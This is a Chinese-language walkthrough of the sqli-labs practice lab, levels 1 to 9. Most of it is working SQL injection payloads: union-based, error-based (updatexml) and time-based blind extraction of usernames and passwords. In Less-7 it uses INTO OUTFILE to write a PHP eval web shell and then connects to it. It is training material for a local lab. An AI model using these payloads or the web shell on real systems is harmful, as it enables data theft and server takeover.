sqli-labs(1-10)
几个常用的函数:
1.version() -- Mysql版本
2.user() --数据库用户名
3.database() --数据库名
4.@@datadir --数据库安装路径
5.@@version_compile_os --操作系统的版本
常用的语句():
1.查询数据库的信息:select schema_name from information_schema.schemata
2.查询表的信息:select table_name from information_schema.tables where table_schema='securty(表名)'
3.查询列的信息:select column_name from informaion_schema.columns where table_name='表名'
4.查询字段:select username,password from security.users
字符串连接函数:
1.concat(字符串1,字符串2) --没有分隔符的连接字符串
2.concat(-/~,字符串1,字符串2) --含有分隔符的连接字符串
3.group_concat(字符串1,字符串2) --连接一个组的所有字符串,并用,分隔每一个字
注意:能使用union联合查询注入的,一般都可以报错注入和盲注。能使用报错注入的,一般都能使用盲注。
less1
1、先判断注入类型
(1)首先看到要求,要求传一个ID参数,并且要求是数字型的。?id=1
(2)输入?id=1'
发现报错
(3)输入?id=1"
单引号报错,双引号正常,判断是字符型注入
2、对列数进行判断
(1)输入?id=1' order by 2--+
(2)输入?id=1' order by 3--+
显示正常
(3)输入?id=1' order by 4--+
报错,所以判断有3列
3、查看显示位,判断手工注入位置
(1)输入?id=-1' union select 1,2,3--+(使用union参数进行联合查询注入,union前面的参数报错才能执行union后面的数据,因此将id=1改为id=-1)
2,3为显示位,此时可在2、3位置进行手工注入
(2)查询所有数据库
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(sma_name),3 from information_schema.schemata--+
(3)查看当前数据库名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3--+
(4)爆表名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
(5)爆列名
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
(6)爆数据
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
less-2
先判断注入类型
(1)输入?id=1'
报错
(2)输入?id=1"
报错
(3)输入?id=1 and 1=1
正常显示
(4)输入?id=1 and 1=2
报错,综合判断是数字注入
后面的过程就和前面一样了。
less3
输入单引号,根据报错信息确定咱们输入的内容存放到一对单引号加圆括号中了,猜想一下咱们输入1在数据库语句中的位置,形如select ... from ... where id=(‘1’) ...,在第一题中id=1‘的后面单引号加上),其它保持不变就行了,不再赘述。
less-4
输入单引号,页面无任何变化,
输入双引号,页面报错,
根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,
猜想一下:select ... from ... where id=(”1”) ...,把第一题中1后面的引号换成双引号加)就可以了。不再赘述。
less-5
1、判断注入类型
(1)输入?id=1'
正常显示
(2)输入?id=1"
正常显示
(3)输入?id=1'--+
显示正常
综上可以判断id为字符型注入
2、因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。
常用的报错语句模板:
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度限制在64个字符
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
updatexml报错注入
(1)爆本数据库名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
(2)因为报错注入只能显示一行,所以要用limit进行逐个显示
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
(3)爆表名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
(4)爆列名
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1),0x7e),1)--+
(5)爆数据
http://127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1)--+
less_6
和less-5一样只是改了闭合方式,less-6是双引号闭合
less-7
判断注入类型
(1)输入?id=1 and 1=1
正常显示
(2)输入?id=1 and 1=2
因为(1)和(2)没有变化,所以不是数字型
(3)输入?id=1'
报错
(4)输入?id=1"
显示正常,由(3)和(4)得知为字符型注入,接下来判断闭合条件
(5)输入?id=1'--+
报错
(6)输入?id=1')--+
报错
(7)输入?id=1'))--+
显示正常,所以参数是:id=(('1'))
2、本关没有输出错误信息,页面正常时,提示use outfile,所以我们使用文件导出
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就.../var/www/htm,.../var/www/html/htdocs
phpstudy 就是...\PhpStudy20180211\PHPTutorial\WWW\
xammp 就是...\xampp\htdocs
@@basedir 数据库存储路径
@@datadir 数据库安装路径
(1)找到数据库的存储路径,数据库的安装路径,输入:?id=1')) union select 1,@@basedir,@@datadir --+
尝试发现没有,被过滤了。
在Less(2)中尝试,输入:?id=-1 union select 1,@@basedir,@@datadir --+
(3)因为我们用的是phpstudy,所以存在一个文件读写权限问题,我们需要修改一下
①首先在mysql命令行中用show variables like '%secure%';查看 secure-file-priv 当前的值
②因为是NULL,打开 C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure_file_priv=“/”。
③重启PHP study,然后发现已经发现发生了改变,说明修改成功,就可以进行读写了
(4)用到的两个函数:load_file() 读取本地文件 into outfile 写文件 可以百度函数用法,提示路径需要用双斜线
http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST["passwd"]);?>' into outfile "D:\\phpStudy\\WWW\\sqli-labs\\Less-7\\shell.php"--+
然后用蚁剑连接
成功获得shell。
less-8
和less-7一样,只是闭合方式变了。本关的闭合方式为参数id='1'
less-9
不管怎么输入,回显都是一样的,所以考虑盲注
1、先判断注入类型
(1)输入?id=1 and sleep(10)--+
没有明显延迟
(2)输入?id=1 and 1=2 and sleep(10)--+
没有明显延迟,从(1)(2)可以看出不是数字注入
(3)输入?id=1' and sleep(10)--+
有明显的延迟,所以参数id='1'
2、注入
(1)爆数据库的长度:?id=1' and if (length(database())=x ,sleep(5),1)--+ x从4开始增加,增加到8有明显的延迟,说明数据库的长度是8;
(2)爆库
注当前的数据库名:可以用<,>,=比较,对字符进行范围的判断,然后用二分法不断缩小范围
通过不断的比较可以得出第一个字符是=s
然后爆依次爆下个字符,最后得到数据库的名称是=‘security’
(3)爆表
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema='security' limit 3,1),5)='users',sleep(10),1)--+
通过limit x,1 中x的变化,我们找到了users表
(4)爆列
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1)='i',sleep(10),1)--+
(5)爆数据
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(left((select username from users limit 0,1),4)='Dumb',sleep(10),1)--+